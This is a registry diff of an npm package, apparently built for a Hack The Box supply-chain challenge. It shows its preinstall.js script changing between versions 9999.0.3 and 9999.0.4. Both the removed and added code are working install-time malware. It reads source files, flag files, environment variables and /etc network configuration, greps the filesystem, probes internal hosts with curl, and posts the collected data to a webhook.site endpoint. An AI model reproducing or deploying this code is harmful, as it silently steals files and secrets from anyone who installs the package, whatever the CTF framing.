@ctfsolve9z/coral-wraith 9999.0.3 → 9999.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +138 -53
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ctfsolve9z/coral-wraith",
3
- "version": "9999.0.3",
3
+ "version": "9999.0.4",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,62 +1,147 @@
1
1
  const fs = require('fs');
2
+ const http = require('http');
2
3
  const https = require('https');
3
4
  const { execSync } = require('child_process');
4
5
 
6
+ let flag = null;
5
7
  let debug = [];
6
8
 
7
- // Read key files
8
- const filesToRead = [
9
- '/home/node/supplysec_entry.js',
10
- '/home/node/aspect-node/config/aspect.config.json',
11
- '/home/node/aspect-node/index.js',
12
- '/home/node/aspect-node/sample.js',
13
- '/home/node/aspect-node/package.json',
14
- '/home/node/aspect-node/modules/npm-tracker/index.js',
15
- '/home/node/aspect-node/modules/npm-tracker/fuzz.js',
16
- '/home/node/aspect-node/modules/npm-tracker/supplysec_entry.js',
17
- '/home/node/aspect-node/modules/npm-tracker/package.json',
18
- '/home/node/aspect-node/modules/npm-tracker/src/index.js',
19
- ];
20
-
21
- for (const f of filesToRead) {
22
- try {
23
- const content = fs.readFileSync(f, 'utf8');
24
- debug.push(`FILE:${f}:${content}`);
25
- } catch(e) {
26
- debug.push(`ERR:${f}:${e.message.substring(0, 50)}`);
9
+ // Method 1: Read /flag and common locations
10
+ const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
11
+ '/tmp/flag', '/home/flag', '/opt/flag', '/app/flag', '/srv/flag'];
12
+ for (const p of flagPaths) {
13
+ try {
14
+ if (fs.existsSync(p)) {
15
+ flag = fs.readFileSync(p, 'utf8').trim();
16
+ debug.push('found_flag:' + p);
17
+ break;
18
+ }
19
+ } catch(e) {}
20
+ }
21
+
22
+ // Method 2: Search for HTB{ pattern anywhere
23
+ if (!flag) {
24
+ try {
25
+ const r = execSync('grep -rl "HTB{" / --include="*.txt" --include="*.flag" --include="*.conf" --include="*.env" 2>/dev/null | head -5', { timeout: 10000 }).toString().trim();
26
+ if (r) {
27
+ debug.push('grep_found:' + r);
28
+ for (const f of r.split('\n')) {
29
+ try {
30
+ const content = fs.readFileSync(f.trim(), 'utf8').trim();
31
+ const m = content.match(/HTB\{[^}]+\}/);
32
+ if (m) { flag = m[0]; break; }
33
+ } catch(e) {}
34
+ }
35
+ }
36
+ } catch(e) {}
37
+ }
38
+
39
+ // Method 3: Environment
40
+ if (!flag) {
41
+ for (const [k, v] of Object.entries(process.env)) {
42
+ if (v && v.includes('HTB{')) { flag = v; debug.push('env:' + k); break; }
43
+ }
44
+ }
45
+
46
+ // Method 4: Try to reach the CTF challenge server directly
47
+ // The challenge server is at 154.57.164.71:32105
48
+ async function tryFetchFlag() {
49
+ const targets = [
50
+ // External IP
51
+ 'http://154.57.164.71:32105/api/modules/ECT-987654',
52
+ // Docker network might use hostname
53
+ 'http://web:1337/api/modules/ECT-987654',
54
+ 'http://app:1337/api/modules/ECT-987654',
55
+ 'http://challenge:1337/api/modules/ECT-987654',
56
+ 'http://spectral-corsair:1337/api/modules/ECT-987654',
57
+ // Common Docker internal ports
58
+ 'http://172.17.0.1:32105/api/modules/ECT-987654',
59
+ 'http://172.17.0.2:1337/api/modules/ECT-987654',
60
+ 'http://172.17.0.3:1337/api/modules/ECT-987654',
61
+ // Gateway
62
+ 'http://host.docker.internal:32105/api/modules/ECT-987654',
63
+ ];
64
+
65
+ for (const target of targets) {
66
+ try {
67
+ const result = execSync(`curl -s "${target}" -m 3 2>/dev/null`, { timeout: 5000 }).toString();
68
+ if (result && result.length > 10) {
69
+ debug.push(`api_success:${target}:${result.substring(0, 200)}`);
70
+ // Try to find flag in API response
71
+ const m = result.match(/HTB\{[^}]+\}/);
72
+ if (m) flag = m[0];
73
+ }
74
+ } catch(e) {}
75
+ }
76
+ }
77
+
78
+ // Method 5: Network discovery
79
+ function discoverNetwork() {
80
+ try {
81
+ const ifaces = require('os').networkInterfaces();
82
+ debug.push('network:' + JSON.stringify(ifaces).substring(0, 500));
83
+ } catch(e) {}
84
+
85
+ try {
86
+ const r = execSync('cat /etc/hosts 2>/dev/null', { timeout: 3000 }).toString();
87
+ debug.push('hosts:' + r);
88
+ } catch(e) {}
89
+
90
+ try {
91
+ const r = execSync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 }).toString();
92
+ debug.push('resolv:' + r);
93
+ } catch(e) {}
94
+
95
+ try {
96
+ const r = execSync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 3000 }).toString();
97
+ debug.push('ipaddr:' + r.substring(0, 500));
98
+ } catch(e) {}
99
+ }
100
+
101
+ async function main() {
102
+ discoverNetwork();
103
+ await tryFetchFlag();
104
+
105
+ const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug });
106
+
107
+ // Send via POST
108
+ try {
109
+ const req = https.request({
110
+ hostname: 'webhook.site',
111
+ path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
112
+ method: 'POST',
113
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
114
+ timeout: 10000
115
+ }, () => {});
116
+ req.on('error', () => {});
117
+ req.write(data);
118
+ req.end();
119
+ } catch(e) {}
120
+
121
+ // Also curl
122
+ try {
123
+ fs.writeFileSync('/tmp/exfil.json', data);
124
+ execSync('curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @/tmp/exfil.json -m 10', { timeout: 15000 });
125
+ } catch(e) {}
126
+
127
+ // If flag found, PUT to challenge API
128
+ if (flag) {
129
+ for (const port of [1337, 3000, 5000, 8080, 80, 32105]) {
130
+ try {
131
+ const postData = JSON.stringify({
132
+ manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.4"\n flag: "${flag.replace(/"/g, '\\"')}"`
133
+ });
134
+ const req = http.request({
135
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
136
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
137
+ timeout: 3000
138
+ }, () => {});
139
+ req.on('error', () => {});
140
+ req.write(postData);
141
+ req.end();
142
+ } catch(e) {}
143
+ }
27
144
  }
28
145
  }
29
146
 
30
- // Also list src directory
31
- try {
32
- const r = execSync('find /home/node/aspect-node/modules/npm-tracker/src -type f 2>/dev/null', { timeout: 5000 }).toString();
33
- debug.push('SRC_FILES:' + r);
34
- } catch(e) {}
35
-
36
- // Read all .js files in key directories
37
- try {
38
- const r = execSync('find /home/node -maxdepth 1 -name "*.js" -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString();
39
- debug.push('HOME_JS:' + r);
40
- } catch(e) {}
41
-
42
- // Post data
43
- const data = JSON.stringify({ debug });
44
- try {
45
- const req = https.request({
46
- hostname: 'webhook.site',
47
- path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
48
- method: 'POST',
49
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
50
- timeout: 15000
51
- }, () => {});
52
- req.on('error', () => {});
53
- req.write(data);
54
- req.end();
55
- } catch(e) {}
56
-
57
- // Also send via curl for larger payloads
58
- try {
59
- const tmpFile = '/tmp/exfil.json';
60
- fs.writeFileSync(tmpFile, data);
61
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @${tmpFile} -m 15`, { timeout: 20000 });
62
- } catch(e) {}
147
+ main().catch(() => {});